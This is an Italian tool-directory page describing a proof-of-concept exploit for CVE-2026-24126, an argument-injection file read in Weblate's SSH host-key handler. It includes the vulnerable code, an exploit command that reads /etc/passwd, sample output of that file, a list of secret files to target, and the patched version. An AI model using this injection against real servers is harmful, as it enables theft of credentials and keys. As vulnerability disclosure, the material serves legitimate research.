Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/alexb616/weblate-cve-2026-24126
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed Teaming
GitHubalexb616/weblate-cve-2026-24126

Weblate-CVE-2026-24126

Proof-of-concept exploit per CVE-2026-24126, una lettura arbitraria di file in Weblate tramite l'iniezione dell'argomento host SSH, che consente agli amministratori autenticati di leggere i file del server.

Vedi Repository
15 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Weblate — Lettura Arbitraria di File tramite Iniezione di Argomenti Host SSH

Scoperto da: Alejandro Baño · Gennaio 2026 Riconosciuto da: Note di rilascio Weblate 5.16


Panoramica

L'endpoint di gestione delle chiavi host SSH di Weblate passa il parametro host fornito da un amministratore autenticato direttamente a ssh-keyscan senza alcuna sanificazione o validazione degli argomenti. Poiché ssh-keyscan accetta un flag -f <file> per leggere i nomi host di destinazione da un file, un attaccante con credenziali di amministratore può iniettare quel flag come valore host e forzare il server ad aprire un file locale arbitrario. L'output di errore risultante (o stdout) viene riflesso fedelmente al browser all'interno di un blocco di messaggi di errore, divulgando il contenuto del file.


Dettagli della Vulnerabilità

CampoValore
TargetWeblate (istanze self-hosted)
ComponenteGestione chiavi SSH — weblate/ssh/views.py · add_host_key()
Autenticazione richiestaSì — account amministratore Weblate
Versioni interessateTutte le versioni ≤ 5.15.2 (testate in 5.0.2 e 5.15.2)
ImpattoLettura arbitraria di file locali come utente del processo web-server (weblate, www-data, ecc.)
CVSS v3CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L
CVECVE-2026-24126

Causa Principale

root@kitploit:~
# weblate/ssh/views.py  — semplificato
def add_host_key(request, host, port=""):
    cmdline = ["ssh-keyscan"]
    if port:
        cmdline.extend(["-p", str(port)])
    cmdline.append(host)          # ← host viene aggiunto senza validazione
    result = subprocess.run(cmdline, ...)

Il valore host proviene direttamente dal campo host del corpo POST senza allowlist, senza rimozione dei trattini iniziali e senza terminatore di argomenti -- prima del valore fornito dall'utente. Questo consente a un attaccante di iniettare qualsiasi flag di ssh-keyscan.

ssh-keyscan -f /etc/passwd legge /etc/passwd come elenco di nomi host, non riesce a risolvere ogni riga e produce output di errore per ciascuna. Tale output di errore si propaga attraverso il gestore CalledProcessError e viene visualizzato all'interno di un blocco alert-danger nella risposta HTTP.


Prova di Concetto

root@kitploit:~
python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd

Opzioni

FlagDescrizione
-r / --rhostURL di base dell'istanza Weblate
-u / --usernameNome utente amministratore
-p / --passwordPassword amministratore
-f / --filePercorso del file da leggere sul server

Output di esempio

root@kitploit:~
python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd

[+] Login riuscito per l'utente: admin
[*] Invio del payload a http://localhost/manage/ssh/, potrebbe richiedere del tempo, si prega di attendere...

[+] Contenuto del file estratto:
--------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
weblate:x:1000:1000::/home/weblate:/bin/sh
--------------------------------------------------
[!] Exploit terminato

Impatto

Qualsiasi file leggibile dall'utente del sistema operativo che esegue Weblate (tipicamente l'utente weblate) può essere esfiltrato tramite una singola richiesta POST autenticata. I target sensibili includono:

  • Segreti dell'applicazione: settings.py, .env, local_settings.py
  • Chiavi SSH private: /var/lib/weblate/.ssh/id_rsa
  • Credenziali del database esposte nei file di configurazione

Rimedio

Aggiornare a Weblate 5.16.0 o successivo. Questa è la correzione ufficiale rilasciata dal team di Weblate il 18 febbraio 2026, che ha introdotto una corretta validazione dell'input sul campo host SSH.

Disclaimer

Questo repository è destinato esclusivamente a ricerca sulla sicurezza educativa e autorizzata. Non utilizzare questo strumento contro sistemi di cui non si possiede la proprietà o per i quali non si dispone di esplicita autorizzazione scritta per il test. L'autore non si assume alcuna responsabilità per un uso improprio.

Scarica lo strumento